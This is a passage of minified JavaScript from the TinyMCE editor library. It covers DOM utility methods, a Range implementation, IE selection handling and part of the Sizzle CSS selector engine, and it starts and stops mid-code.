f=this,g;return f.run(h,function(k){var j;if(f.hasClass(k,i)){if(!g){g=new RegExp("(^|\\s+)"+i+"(\\s+|$)","g")}j=k.className.replace(g," ");return k.className=c.trim(j!=" "?j:"")}return k.className})},hasClass:function(g,f){g=this.get(g);if(!g||!f){return false}return(" "+g.className+" ").indexOf(" "+f+" ")!==-1},show:function(f){return this.setStyle(f,"display","block")},hide:function(f){return this.setStyle(f,"display","none")},isHidden:function(f){f=this.get(f);return !f||f.style.display=="none"||this.getStyle(f,"display")=="none"},uniqueId:function(f){return(!f?"mce_":f)+(this.counter++)},setHTML:function(i,g){var f=this;return this.run(i,function(m){var h,k,j,q,l,h;g=f.processHTML(g);if(a){function o(){try{m.innerHTML="<br />"+g;m.removeChild(m.firstChild)}catch(n){while(m.firstChild){m.firstChild.removeNode()}h=f.create("div");h.innerHTML="<br />"+g;e(h.childNodes,function(r,p){if(p){m.appendChild(r)}})}}if(f.settings.fix_ie_paragraphs){g=g.replace(/<p><\/p>|<p([^>]+)><\/p>|<p[^\/+]\/>/gi,'<p$1 mce_keep="true">&nbsp;</p>')}o();if(f.settings.fix_ie_paragraphs){j=m.getElementsByTagName("p");for(k=j.length-1,h=0;k>=0;k--){q=j[k];if(!q.hasChildNodes()){if(!q.mce_keep){h=1;break}q.removeAttribute("mce_keep")}}}if(h){g=g.replace(/<p ([^>]+)>|<p>/g,'<div $1 mce_tmp="1">');g=g.replace(/<\/p>/g,"</div>");o();if(f.settings.fix_ie_paragraphs){j=m.getElementsByTagName("DIV");for(k=j.length-1;k>=0;k--){q=j[k];if(q.mce_tmp){l=f.doc.createElement("p");q.cloneNode(false).outerHTML.replace(/([a-z0-9\-_]+)=/gi,function(p,n){var r;if(n!=="mce_tmp"){r=q.getAttribute(n);if(!r&&n==="class"){r=q.className}l.setAttribute(n,r)}});for(h=0;h<q.childNodes.length;h++){l.appendChild(q.childNodes[h].cloneNode(true))}q.swapNode(l)}}}}}else{m.innerHTML=g}return g})},processHTML:function(j){var g=this,i=g.settings;if(!i.process_html){return j}if(c.isGecko){j=j.replace(/<(\/?)strong>|<strong( [^>]+)>/gi,"<$1b$2>");j=j.replace(/<(\/?)em>|<em( [^>]+)>/gi,"<$1i$2>")}else{if(a){j=j.replace(/&apos;/g,"&#39;");j=j.replace(/\s+(disabled|checked|readonly|selected)\s*=\s*[\"\']?(false|0)[\"\']?/gi,"")}}j=j.replace(/<a( )([^>]+)\/>|<a\/>/gi,"<a$1$2></a>");if(i.keep_values){if(/<script|style/.test(j)){function f(h){h=h.replace(/(<!--\[CDATA\[|\]\]-->)/g,"\n");h=h.replace(/^[\r\n]*|[\r\n]*$/g,"");h=h.replace(/^\s*(\/\/\s*<!--|\/\/\s*<!\[CDATA\[|<!--|<!\[CDATA\[)[\r\n]*/g,"");h=h.replace(/\s*(\/\/\s*\]\]>|\/\/\s*-->|\]\]>|-->|\]\]-->)\s*$/g,"");return h}j=j.replace(/<script([^>]+|)>([\s\S]*?)<\/script>/g,function(h,l,k){if(!l){l=' type="text/javascript"'}l=l.replace(/(type|language)=\"?/,"$&mce-");l=l.replace(/src=\"([^\"]+)\"?/,function(m,n){if(i.url_converter){n=g.encode(i.url_converter.call(i.url_converter_scope||g,g.decode(n),"src","script"))}return'mce_src="'+n+'"'});if(c.trim(k)){k="<!--\n"+f(k)+"\n// -->"}return"<mce:script"+l+">"+k+"</mce:script>"});j=j.replace(/<style([^>]+|)>([\s\S]*?)<\/style>/g,function(h,l,k){if(k){k="<!--\n"+f(k)+"\n-->"}return"<mce:style"+l+">"+k+"</mce:style><style "+l+' mce_bogus="1">'+k+"</style>"})}j=j.replace(/<!\[CDATA\[([\s\S]+)\]\]>/g,"<!--[CDATA[$1]]-->");j=j.replace(/<([\w:]+) [^>]*(src|href|style|shape|coords)[^>]*>/gi,function(h,l){function k(o,n,q){var p=q;if(h.indexOf("mce_"+n)!=-1){return o}if(n=="style"){if(g._isRes(q)){return o}if(i.hex_colors){p=p.replace(/rgb\([^\)]+\)/g,function(m){return g.toHex(m)})}if(i.url_converter){p=p.replace(/url\([\'\"]?([^\)\'\"]+)\)/g,function(m,r){return"url("+g.encode(i.url_converter.call(i.url_converter_scope||g,g.decode(r),n,l))+")"})}}else{if(n!="coords"&&n!="shape"){if(i.url_converter){p=g.encode(i.url_converter.call(i.url_converter_scope||g,g.decode(q),n,l))}}}return" "+n+'="'+q+'" mce_'+n+'="'+p+'"'}h=h.replace(/ (src|href|style|coords|shape)=[\"]([^\"]+)[\"]/gi,k);h=h.replace(/ (src|href|style|coords|shape)=[\']([^\']+)[\']/gi,k);return h.replace(/ (src|href|style|coords|shape)=([^\s\"\'>]+)/gi,k)})}return j},getOuterHTML:function(f){var g;f=this.get(f);if(!f){return null}if(f.outerHTML!==undefined){return f.outerHTML}g=(f.ownerDocument||this.doc).createElement("body");g.appendChild(f.cloneNode(true));return g.innerHTML},setOuterHTML:function(i,g,j){var f=this;return this.run(i,function(h){var l,k;h=f.get(h);j=j||h.ownerDocument||f.doc;if(a&&h.nodeType==1){h.outerHTML=g}else{k=j.createElement("body");k.innerHTML=g;l=k.lastChild;while(l){f.insertAfter(l.cloneNode(true),h);l=l.previousSibling}f.remove(h)}})},decode:function(g){var h,i,f;if(/&[^;]+;/.test(g)){h=this.doc.createElement("div");h.innerHTML=g;i=h.firstChild;f="";if(i){do{f+=i.nodeValue}while(i.nextSibling)}return f||g}return g},encode:function(f){return f?(""+f).replace(/[<>&\"]/g,function(h,g){switch(h){case"&":return"&amp;";case'"':return"&quot;";case"<":return"&lt;";case">":return"&gt;"}return h}):f},insertAfter:function(h,g){var f=this;g=f.get(g);return this.run(h,function(k){var j,i;j=g.parentNode;i=g.nextSibling;if(i){j.insertBefore(k,i)}else{j.appendChild(k)}return k})},isBlock:function(f){if(f.nodeType&&f.nodeType!==1){return false}f=f.nodeName||f;return/^(H[1-6]|HR|P|DIV|ADDRESS|PRE|FORM|TABLE|LI|OL|UL|TR|TD|CAPTION|BLOCKQUOTE|CENTER|DL|DT|DD|DIR|FIELDSET|NOSCRIPT|NOFRAMES|MENU|ISINDEX|SAMP)$/.test(f)},replace:function(i,h,f){var g=this;if(b(h,"array")){i=i.cloneNode(true)}return g.run(h,function(j){if(f){e(j.childNodes,function(k){i.appendChild(k.cloneNode(true))})}if(g.fixPsuedoLeaks&&j.nodeType===1){j.parentNode.insertBefore(i,j);g.remove(j);return i}return j.parentNode.replaceChild(i,j)})},findCommonAncestor:function(h,f){var i=h,g;while(i){g=f;while(g&&i!=g){g=g.parentNode}if(i==g){break}i=i.parentNode}if(!i&&h.ownerDocument){return h.ownerDocument.documentElement}return i},toHex:function(f){var h=/^\s*rgb\s*?\(\s*?([0-9]+)\s*?,\s*?([0-9]+)\s*?,\s*?([0-9]+)\s*?\)\s*$/i.exec(f);function g(i){i=parseInt(i).toString(16);return i.length>1?i:"0"+i}if(h){f="#"+g(h[1])+g(h[2])+g(h[3]);return f}return f},getClasses:function(){var l=this,g=[],k,m={},n=l.settings.class_filter,j;if(l.classes){return l.classes}function o(f){e(f.imports,function(i){o(i)});e(f.cssRules||f.rules,function(i){switch(i.type||1){case 1:if(i.selectorText){e(i.selectorText.split(","),function(p){p=p.replace(/^\s*|\s*$|^\s\./g,"");if(/\.mce/.test(p)||!/\.[\w\-]+$/.test(p)){return}j=p;p=p.replace(/.*\.([a-z0-9_\-]+).*/i,"$1");if(n&&!(p=n(p,j))){return}if(!m[p]){g.push({"class":p});m[p]=1}})}break;case 3:o(i.styleSheet);break}})}try{e(l.doc.styleSheets,o)}catch(h){}if(g.length>0){l.classes=g}return g},run:function(j,i,h){var g=this,k;if(g.doc&&typeof(j)==="string"){j=g.get(j)}if(!j){return false}h=h||this;if(!j.nodeType&&(j.length||j.length===0)){k=[];e(j,function(l,f){if(l){if(typeof(l)=="string"){l=g.doc.getElementById(l)}k.push(i.call(h,l,f))}});return k}return i.call(h,j)},getAttribs:function(g){var f;g=this.get(g);if(!g){return[]}if(a){f=[];if(g.nodeName=="OBJECT"){return g.attributes}g.cloneNode(false).outerHTML.replace(/([a-z0-9\:\-_]+)=/gi,function(i,h){f.push({specified:1,nodeName:h})});return f}return g.attributes},destroy:function(g){var f=this;if(f.events){f.events.destroy()}f.win=f.doc=f.root=f.events=null;if(!g){c.removeUnload(f.destroy)}},createRng:function(){var f=this.doc;return f.createRange?f.createRange():new c.dom.Range(this)},split:function(l,k,o){var p=this,f=p.createRng(),m,j,n;function g(r,q){r=r[q];if(r&&r[q]&&r[q].nodeType==1&&i(r[q])){p.remove(r[q])}}function i(q){q=p.getOuterHTML(q);q=q.replace(/<(img|hr|table)/gi,"-");q=q.replace(/<[^>]+>/g,"");return q.replace(/[ \t\r\n]+|&nbsp;|&#160;/g,"")==""}function h(r){var q=0;while(r.previousSibling){q++;r=r.previousSibling}return q}if(l&&k){f.setStart(l.parentNode,h(l));f.setEnd(k.parentNode,h(k));m=f.extractContents();f=p.createRng();f.setStart(k.parentNode,h(k)+1);f.setEnd(l.parentNode,h(l)+1);j=f.extractContents();n=l.parentNode;g(m,"lastChild");if(!i(m)){n.insertBefore(m,l)}if(o){n.replaceChild(o,k)}else{n.insertBefore(k,l)}g(j,"firstChild");if(!i(j)){n.insertBefore(j,l)}p.remove(l);return o||k}},bind:function(j,f,i,h){var g=this;if(!g.events){g.events=new c.dom.EventUtils()}return g.events.add(j,f,i,h||this)},unbind:function(i,f,h){var g=this;if(!g.events){g.events=new c.dom.EventUtils()}return g.events.remove(i,f,h)},_isRes:function(f){return/^(top|left|bottom|right|width|height)/i.test(f)||/;\s*(top|left|bottom|right|width|height)/i.test(f)}});c.DOM=new c.dom.DOMUtils(document,{process_html:0})})(tinymce);(function(f){var h=0,c=1,e=2,d=tinymce.extend;function g(m,k){var j,l;if(m.parentNode!=k){return -1}for(l=k.firstChild,j=0;l!=m;l=l.nextSibling){j++}return j}function b(k){var j=0;while(k.previousSibling){j++;k=k.previousSibling}return j}function i(j,k){var l;if(j.nodeType==3){return j}if(k<0){return j}l=j.firstChild;while(l!=null&&k>0){--k;l=l.nextSibling}if(l!=null){return l}return j}function a(k){var j=k.doc;d(this,{dom:k,startContainer:j,startOffset:0,endContainer:j,endOffset:0,collapsed:true,commonAncestorContainer:j,START_TO_START:0,START_TO_END:1,END_TO_END:2,END_TO_START:3})}d(a.prototype,{setStart:function(k,j){this._setEndPoint(true,k,j)},setEnd:function(k,j){this._setEndPoint(false,k,j)},setStartBefore:function(j){this.setStart(j.parentNode,b(j))},setStartAfter:function(j){this.setStart(j.parentNode,b(j)+1)},setEndBefore:function(j){this.setEnd(j.parentNode,b(j))},setEndAfter:function(j){this.setEnd(j.parentNode,b(j)+1)},collapse:function(k){var j=this;if(k){j.endContainer=j.startContainer;j.endOffset=j.startOffset}else{j.startContainer=j.endContainer;j.startOffset=j.endOffset}j.collapsed=true},selectNode:function(j){this.setStartBefore(j);this.setEndAfter(j)},selectNodeContents:function(j){this.setStart(j,0);this.setEnd(j,j.nodeType===1?j.childNodes.length:j.nodeValue.length)},compareBoundaryPoints:function(m,n){var l=this,p=l.startContainer,o=l.startOffset,k=l.endContainer,j=l.endOffset;if(m===0){return l._compareBoundaryPoints(p,o,p,o)}if(m===1){return l._compareBoundaryPoints(p,o,k,j)}if(m===2){return l._compareBoundaryPoints(k,j,k,j)}if(m===3){return l._compareBoundaryPoints(k,j,p,o)}},deleteContents:function(){this._traverse(e)},extractContents:function(){return this._traverse(h)},cloneContents:function(){return this._traverse(c)},insertNode:function(m){var j=this,l,k;if(m.nodeType===3||m.nodeType===4){l=j.startContainer.splitText(j.startOffset);j.startContainer.parentNode.insertBefore(m,l)}else{if(j.startContainer.childNodes.length>0){k=j.startContainer.childNodes[j.startOffset]}j.startContainer.insertBefore(m,k)}},surroundContents:function(l){var j=this,k=j.extractContents();j.insertNode(l);l.appendChild(k);j.selectNode(l)},cloneRange:function(){var j=this;return d(new a(j.dom),{startContainer:j.startContainer,startOffset:j.startOffset,endContainer:j.endContainer,endOffset:j.endOffset,collapsed:j.collapsed,commonAncestorContainer:j.commonAncestorContainer})},_isCollapsed:function(){return(this.startContainer==this.endContainer&&this.startOffset==this.endOffset)},_compareBoundaryPoints:function(m,p,k,o){var q,l,j,r,t,s;if(m==k){if(p==o){return 0}else{if(p<o){return -1}else{return 1}}}q=k;while(q&&q.parentNode!=m){q=q.parentNode}if(q){l=0;j=m.firstChild;while(j!=q&&l<p){l++;j=j.nextSibling}if(p<=l){return -1}else{return 1}}q=m;while(q&&q.parentNode!=k){q=q.parentNode}if(q){l=0;j=k.firstChild;while(j!=q&&l<o){l++;j=j.nextSibling}if(l<o){return -1}else{return 1}}r=this.dom.findCommonAncestor(m,k);t=m;while(t&&t.parentNode!=r){t=t.parentNode}if(!t){t=r}s=k;while(s&&s.parentNode!=r){s=s.parentNode}if(!s){s=r}if(t==s){return 0}j=r.firstChild;while(j){if(j==t){return -1}if(j==s){return 1}j=j.nextSibling}},_setEndPoint:function(k,q,p){var l=this,j,m;if(k){l.startContainer=q;l.startOffset=p}else{l.endContainer=q;l.endOffset=p}j=l.endContainer;while(j.parentNode){j=j.parentNode}m=l.startContainer;while(m.parentNode){m=m.parentNode}if(m!=j){l.collapse(k)}else{if(l._compareBoundaryPoints(l.startContainer,l.startOffset,l.endContainer,l.endOffset)>0){l.collapse(k)}}l.collapsed=l._isCollapsed();l.commonAncestorContainer=l.dom.findCommonAncestor(l.startContainer,l.endContainer)},_traverse:function(r){var s=this,q,m=0,v=0,k,o,l,n,j,u;if(s.startContainer==s.endContainer){return s._traverseSameContainer(r)}for(q=s.endContainer,k=q.parentNode;k!=null;q=k,k=k.parentNode){if(k==s.startContainer){return s._traverseCommonStartContainer(q,r)}++m}for(q=s.startContainer,k=q.parentNode;k!=null;q=k,k=k.parentNode){if(k==s.endContainer){return s._traverseCommonEndContainer(q,r)}++v}o=v-m;l=s.startContainer;while(o>0){l=l.parentNode;o--}n=s.endContainer;while(o<0){n=n.parentNode;o++}for(j=l.parentNode,u=n.parentNode;j!=u;j=j.parentNode,u=u.parentNode){l=j;n=u}return s._traverseCommonAncestors(l,n,r)},_traverseSameContainer:function(o){var r=this,q,u,j,k,l,p,m;if(o!=e){q=r.dom.doc.createDocumentFragment()}if(r.startOffset==r.endOffset){return q}if(r.startContainer.nodeType==3){u=r.startContainer.nodeValue;j=u.substring(r.startOffset,r.endOffset);if(o!=c){r.startContainer.deleteData(r.startOffset,r.endOffset-r.startOffset);r.collapse(true)}if(o==e){return null}q.appendChild(r.dom.doc.createTextNode(j));return q}k=i(r.startContainer,r.startOffset);l=r.endOffset-r.startOffset;while(l>0){p=k.nextSibling;m=r._traverseFullySelected(k,o);if(q){q.appendChild(m)}--l;k=p}if(o!=c){r.collapse(true)}return q},_traverseCommonStartContainer:function(j,p){var s=this,r,k,l,m,q,o;if(p!=e){r=s.dom.doc.createDocumentFragment()}k=s._traverseRightBoundary(j,p);if(r){r.appendChild(k)}l=g(j,s.startContainer);m=l-s.startOffset;if(m<=0){if(p!=c){s.setEndBefore(j);s.collapse(false)}return r}k=j.previousSibling;while(m>0){q=k.previousSibling;o=s._traverseFullySelected(k,p);if(r){r.insertBefore(o,r.firstChild)}--m;k=q}if(p!=c){s.setEndBefore(j);s.collapse(false)}return r},_traverseCommonEndContainer:function(m,p){var s=this,r,o,j,k,q,l;if(p!=e){r=s.dom.doc.createDocumentFragment()}j=s._traverseLeftBoundary(m,p);if(r){r.appendChild(j)}o=g(m,s.endContainer);++o;k=s.endOffset-o;j=m.nextSibling;while(k>0){q=j.nextSibling;l=s._traverseFullySelected(j,p);if(r){r.appendChild(l)}--k;j=q}if(p!=c){s.setStartAfter(m);s.collapse(true)}return r},_traverseCommonAncestors:function(p,j,s){var w=this,l,v,o,q,r,k,u,m;if(s!=e){v=w.dom.doc.createDocumentFragment()}l=w._traverseLeftBoundary(p,s);if(v){v.appendChild(l)}o=p.parentNode;q=g(p,o);r=g(j,o);++q;k=r-q;u=p.nextSibling;while(k>0){m=u.nextSibling;l=w._traverseFullySelected(u,s);if(v){v.appendChild(l)}u=m;--k}l=w._traverseRightBoundary(j,s);if(v){v.appendChild(l)}if(s!=c){w.setStartAfter(p);w.collapse(true)}return v},_traverseRightBoundary:function(p,q){var s=this,l=i(s.endContainer,s.endOffset-1),r,o,n,j,k;var m=l!=s.endContainer;if(l==p){return s._traverseNode(l,m,false,q)}r=l.parentNode;o=s._traverseNode(r,false,false,q);while(r!=null){while(l!=null){n=l.previousSibling;j=s._traverseNode(l,m,false,q);if(q!=e){o.insertBefore(j,o.firstChild)}m=true;l=n}if(r==p){return o}l=r.previousSibling;r=r.parentNode;k=s._traverseNode(r,false,false,q);if(q!=e){k.appendChild(o)}o=k}return null},_traverseLeftBoundary:function(p,q){var s=this,m=i(s.startContainer,s.startOffset);var n=m!=s.startContainer,r,o,l,j,k;if(m==p){return s._traverseNode(m,n,true,q)}r=m.parentNode;o=s._traverseNode(r,false,true,q);while(r!=null){while(m!=null){l=m.nextSibling;j=s._traverseNode(m,n,true,q);if(q!=e){o.appendChild(j)}n=true;m=l}if(r==p){return o}m=r.nextSibling;r=r.parentNode;k=s._traverseNode(r,false,true,q);if(q!=e){k.appendChild(o)}o=k}return null},_traverseNode:function(j,o,r,s){var u=this,m,l,p,k,q;if(o){return u._traverseFullySelected(j,s)}if(j.nodeType==3){m=j.nodeValue;if(r){k=u.startOffset;l=m.substring(k);p=m.substring(0,k)}else{k=u.endOffset;l=m.substring(0,k);p=m.substring(k)}if(s!=c){j.nodeValue=p}if(s==e){return null}q=j.cloneNode(false);q.nodeValue=l;return q}if(s==e){return null}return j.cloneNode(false)},_traverseFullySelected:function(l,k){var j=this;if(k!=e){return k==c?l.cloneNode(true):l}l.parentNode.removeChild(l);return null}});f.Range=a})(tinymce.dom);(function(){function a(e){var d=this,h="\uFEFF",b,g;function c(j,i){if(j&&i){if(j.item&&i.item&&j.item(0)===i.item(0)){return 1}if(j.isEqual&&i.isEqual&&i.isEqual(j)){return 1}}return 0}function f(){var m=e.dom,j=e.getRng(),s=m.createRng(),p,k,n,q,o,l;function i(v){var t=v.parentNode.childNodes,u;for(u=t.length-1;u>=0;u--){if(t[u]==v){return u}}return -1}function r(v){var t=j.duplicate(),B,y,u,w,x=0,z=0,A,C;t.collapse(v);B=t.parentElement();t.pasteHTML(h);u=B.childNodes;for(y=0;y<u.length;y++){w=u[y];if(y>0&&(w.nodeType!==3||u[y-1].nodeType!==3)){z++}if(w.nodeType===3){A=w.nodeValue.indexOf(h);if(A!==-1){x+=A;break}x+=w.nodeValue.length}else{x=0}}t.moveStart("character",-1);t.text="";return{index:z,offset:x,parent:B}}n=j.item?j.item(0):j.parentElement();if(n.ownerDocument!=m.doc){return s}if(j.item||!n.hasChildNodes()){s.setStart(n.parentNode,i(n));s.setEnd(s.startContainer,s.startOffset+1);return s}l=e.isCollapsed();p=r(true);k=r(false);p.parent.normalize();k.parent.normalize();q=p.parent.childNodes[Math.min(p.index,p.parent.childNodes.length-1)];if(q.nodeType!=3){s.setStart(p.parent,p.index)}else{s.setStart(p.parent.childNodes[p.index],p.offset)}o=k.parent.childNodes[Math.min(k.index,k.parent.childNodes.length-1)];if(o.nodeType!=3){if(!l){k.index++}s.setEnd(k.parent,k.index)}else{s.setEnd(k.parent.childNodes[k.index],k.offset)}if(!l){q=s.startContainer;if(q.nodeType==1){s.setStart(q,Math.min(s.startOffset,q.childNodes.length))}o=s.endContainer;if(o.nodeType==1){s.setEnd(o,Math.min(s.endOffset,o.childNodes.length))}}d.addRange(s);return s}this.addRange=function(j){var o,m=e.dom.doc.body,p,k,q,l,n,i;q=j.startContainer;l=j.startOffset;n=j.endContainer;i=j.endOffset;o=m.createTextRange();q=q.nodeType==1?q.childNodes[Math.min(l,q.childNodes.length-1)]:q;n=n.nodeType==1?n.childNodes[Math.min(l==i?i:i-1,n.childNodes.length-1)]:n;if(q==n&&q.nodeType==1){if(/^(IMG|TABLE)$/.test(q.nodeName)&&l!=i){o=m.createControlRange();o.addElement(q)}else{o=m.createTextRange();if(!q.hasChildNodes()&&q.canHaveHTML){q.innerHTML=h}o.moveToElementText(q);if(q.innerHTML==h){o.collapse(true);q.removeChild(q.firstChild)}}if(l==i){o.collapse(i<=j.endContainer.childNodes.length-1)}o.select();return}function r(t,v){var u,s,w;if(t.nodeType!=3){return -1}u=t.nodeValue;s=m.createTextRange();t.nodeValue=u.substring(0,v)+h+u.substring(v);s.moveToElementText(t.parentNode);s.findText(h);w=Math.abs(s.moveStart("character",-1048575));t.nodeValue=u;return w}if(j.collapsed){pos=r(q,l);o=m.createTextRange();o.move("character",pos);o.select();return}else{if(q==n&&q.nodeType==3){p=r(q,l);o.move("character",p);o.moveEnd("character",i-l);o.select();return}p=r(q,l);k=r(n,i);o=m.createTextRange();if(p==-1){o.moveToElementText(q);p=0}else{o.move("character",p)}tmpRng=m.createTextRange();if(k==-1){tmpRng.moveToElementText(n)}else{tmpRng.move("character",k)}o.setEndPoint("EndToEnd",tmpRng);o.select();return}};this.getRangeAt=function(){if(!b||!c(g,e.getRng())){b=f();g=e.getRng()}return b};this.destroy=function(){g=b=null}}tinymce.dom.TridentSelection=a})();(function(){var p=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?/g,i=0,d=Object.prototype.toString,n=false;var b=function(D,t,A,v){A=A||[];var e=t=t||document;if(t.nodeType!==1&&t.nodeType!==9){return[]}if(!D||typeof D!=="string"){return A}var B=[],C,y,G,F,z,s,r=true,w=o(t);p.lastIndex=0;while((C=p.exec(D))!==null){B.push(C[1]);if(C[2]){s=RegExp.rightContext;break}}if(B.length>1&&j.exec(D)){if(B.length===2&&f.relative[B[0]]){y=g(B[0]+B[1],t)}else{y=f.relative[B[0]]?[t]:b(B.shift(),t);while(B.length){D=B.shift();if(f.relative[D]){D+=B.shift()}y=g(D,y)}}}else{if(!v&&B.length>1&&t.nodeType===9&&!w&&f.match.ID.test(B[0])&&!f.match.ID.test(B[B.length-1])){var H=b.find(B.shift(),t,w);t=H.expr?b.filter(H.expr,H.set)[0]:H.set[0]}if(t){var H=v?{expr:B.pop(),set:a(v)}:b.find(B.pop(),B.length===1&&(B[0]==="~"||B[0]==="+")&&t.parentNode?t.parentNode:t,w);y=H.expr?b.filter(H.expr,H.set):H.set;if(B.length>0){G=a(y)}else{r=false}while(B.length){var u=B.pop(),x=u;if(!f.relative[u]){u=""}else{x=B.pop()}if(x==null){x=t}f.relative[u](G,x,w)}}else{G=B=[]}}if(!G){G=y}if(!G){throw"Syntax error, unrecognized expression: "+(u||D)}if(d.call(G)==="[object Array]"){if(!r){A.push.apply(A,G)}else{if(t&&t.nodeType===1){for(var E=0;G[E]!=null;E++){if(G[E]&&(G[E]===true||G[E].nodeType===1&&h(t,G[E]))){A.push(y[E])}}}else{for(var E=0;G[E]!=null;E++){if(G[E]&&G[E].nodeType===1){A.push(y[E])}}}}}else{a(G,A)}if(s){b(s,e,A,v);b.uniqueSort(A)}return A};b.uniqueSort=function(r){if(c){n=false;r.sort(c);if(n){for(var e=1;e<r.length;e++){if(r[e]===r[e-1]){r.splice(e--,1)}}}}};b.matches=function(e,r){return b(e,null,null,r)};b.find=function(x,e,y){var w,u;if(!x){return[]}for(var t=0,s=f.order.length;t<s;t++){var v=f.order[t],u;if((u=f.match[v].exec(x))){var r=RegExp.leftContext;if(r.substr(r.length-1)!=="\\"){u[1]=(u[1]||"").replace(/\\/g,"");w=f.find[v](u,e,y);if(w!=null){x=x.replace(f.match[v],"");break}}}}if(!w){w=e.getElementsByTagName("*")}return{set:w,expr:x}};b.filter=function(A,z,D,t){var s=A,F=[],x=z,v,e,w=z&&z[0]&&o(z[0]);while(A&&z.length){for(var y in f.filter){if((v=f.match[y].exec(A))!=null){var r=f.filter[y],E,C;e=false;if(x==F){F=[]}if(f.preFilter[y]){v=f.preFilter[y](v,x,D,F,t,w);if(!v){e=E=true}else{if(v===true){continue}}}if(v){for(var u=0;(C=x[u])!=null;u++){if(C){E=r(C,v,u,x);var B=t^!!E;if(D&&E!=null){if(B){e=true}else{x[u]=false}}else{if(B){F.push(C);e=true}}}}}if(E!==undefined){if(!D){x=F}A=A.replace(f.match[y],"");if(!e){return[]}break}}}if(A==s){if(e==null){throw"Syntax error, unrecognized expression: "+A}else{break}}s=A}return x};var f=b.selectors={order:["ID","NAME","TAG"],match:{ID:/#((?:[\w\u00c0-\uFFFF_-]|\\.)+)/,CLASS:/\.((?:[\w\u00c0-\uFFFF_-]|\\.)+)/,NAME:/\[name=['"]*((?:[\w\u00c0-\uFFFF_-]|\\.)+)['"]*\]/,ATTR:/\[\s*((?:[\w\u00c0-\uFFFF_-]|\\.)+)\s*(?:(\S?=)\s*(['"]*)(.*?)\3|)\s*\]/,TAG:/^((?:[\w\u00c0-\uFFFF\*_-]|\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\((even|odd|[\dn+-]*)\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^-]|$)/,PSEUDO:/:((?:[\w\u00c0-\uFFFF_-]|\\.)+)(?:\((['"]*)((?:\([^\)]+\)|[^\2\(\)]*)+)\2\))?/},attrMap:{"class":"className","for":"htmlFor"},attrHandle:{href:function(e){return e.getAttribute("href")}},relative:{"+":function(x,e,w){var u=typeof e==="string",y=u&&!/\W/.test(e),v=u&&!y;if(y&&!w){e=e.toUpperCase()}for(var t=0,s=x.length,r;t<s;t++){if((r=x[t])){while((r=r.previousSibling)&&r.nodeType!==1){}x[t]=v||r&&r.nodeName===e?r||false:r===e}}if(v){b.filter(e,x,true)}},">":function(w,r,x){var u=typeof r==="string";if(u&&!/\W/.test(r)){r=x?r:r.toUpperCase();for(var s=0,e=w.length;s<e;s++){var v=w[s];if(v){var t=v.parentNode;w[s]=t.nodeName===r?t:false}}}else{for(var s=0,e=w.length;s<e;s++){var v=w[s];if(v){w[s]=u?v.parentNode:v.parentNode===r}}if(u){b.filter(r,w,true)}}},"":function(t,r,v){var s=i++,e=q;if(!r.match(/\W/)){var u=r=v?r:r.toUpperCase();e=m}e("parentNode",r,s,t,u,v)},"~":function(t,r,v){var s=i++,e=q;if(typeof r==="string"&&!r.match(/\W/)){var u=r=v?r:r.toUpperCase();e=m}e("previousSibling",r,s,t,u,v)}},find:{ID:function(r,s,t){if(typeof s.getElementById!=="undefined"&&!t){var e=s.getElementById(r[1]);return e?[e]:[]}},NAME:function(s,v,w){if(typeof v.getElementsByName!=="undefined"){var r=[],u=v.getElementsByName(s[1]);for(var t=0,e=u.length;t<e;t++){if(u[t].getAttribute("name")===s[1]){r.push(u[t])}}return r.length===0?null:r}},TAG:function(e,r){return r.getElementsByTagName(e[1])}},preFilter:{CLASS:function(t,r,s,e,w,x){t=" "+t[1].replace(/\\/g,"")+" ";if(x){return t}for(var u=0,v;(v=r[u])!=null;u++){if(v){if(w^(v.className&&(" "+v.className+" ").indexOf(t)>=0)){if(!s){e.push(v)}}else{if(s){r[u]=false}}}}return false},ID:function(e){return e[1].replace(/\\/g,"")},TAG:function(r,e){for(var s=0;e[s]===false;s++){}return e[s]&&o(e[s])?r[1]:r[1].toUpperCase()},CHILD:function(e){if(e[1]=="nth"){var r=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(e[2]=="even"&&"2n"||e[2]=="odd"&&"2n+1"||!/\D/.test(e[2])&&"0n+"+e[2]||e[2]);e[2]=(r[1]+(r[2]||1))-0;e[3]=r[3]-0}e[0]=i++;return e},ATTR:function(u,r,s,e,v,w){var t=u[1].replace(/\\/g,"");if(!w&&f.attrMap[t]){u[1]=f.attrMap[t]}if(u[2]==="~="){u[4]=" "+u[4]+" "}return u},PSEUDO:function(u,r,s,e,v){if(u[1]==="not"){if(u[3].match(p).length>1||/^\w/.test(u[3])){u[3]=b(u[3],null,null,r)}else{var t=b.filter(u[3],r,s,true^v);if(!s){e.push.apply(e,t)}return false}}else{if(f.match.POS.test(u[0])||f.match.CHILD.test(u[0])){return true}}return u},POS:function(e){e.unshift(true);return e}},filters:{enabled:function(e){return e.disabled===false&&e.type!=="hidden"},disabled:function(e){return e.disabled===true},checked:function(e){return e.checked===true},selected:function(e){e.parentNode.selectedIndex;return e.selected===true},parent:function(e){return !!e.firstChild},empty:function(e){return !e.firstChild},has:function(s,r,e){return !!b(e[3],s).length},header:function(e){return/h\d/i.test(e.nodeName)},text:function(e){return"text"===e.type},radio:function(e){return"radio"===e.type},checkbox:function(e){return"checkbox"===e.type},file:function(e){return"file"===e.type},password:function(e){return"password"===e.type},submit:function(e){return"submit"===e.type},image:function(e){return"image"===e.type},reset:function(e){return"reset"===e.type},button:function(e){return"button"===e.type||e.nodeName.toUpperCase()==="BUTTON"},input:function(e){return/input|select|textarea|button/i.test(e.nodeName)}},setFilters:{first:function(r,e){return e===0},last:function(s,r,e,t){return r===t.length-1},even:function(r,e){return e%2===0},odd:function(r,e){return e%2===1},lt:function(s,r,e){return r<e[3]-0},gt:function(s,r,e){return r>e[3]-0},nth:function(s,r,e){return e[3]-0==r},eq:function(s,r,e){return e[3]-0==r}},filter:{PSEUDO:function(w,s,t,x){var r=s[1],u=f.filters[r];if(u){return u(w,t,s,x)}else{if(r==="contains"){return(w.textContent||w.innerText||"").indexOf(s[3])>=0}else{if(r==="not"){var v=s[3];for(var t=0,e=v.length;t<e;t++){if(v[t]===w){return false}}return true}}}},CHILD:function(e,t){var w=t[1],r=e;switch(w){case"only":case"first":while(r=r.previousSibling){if(r.nodeType===1){return 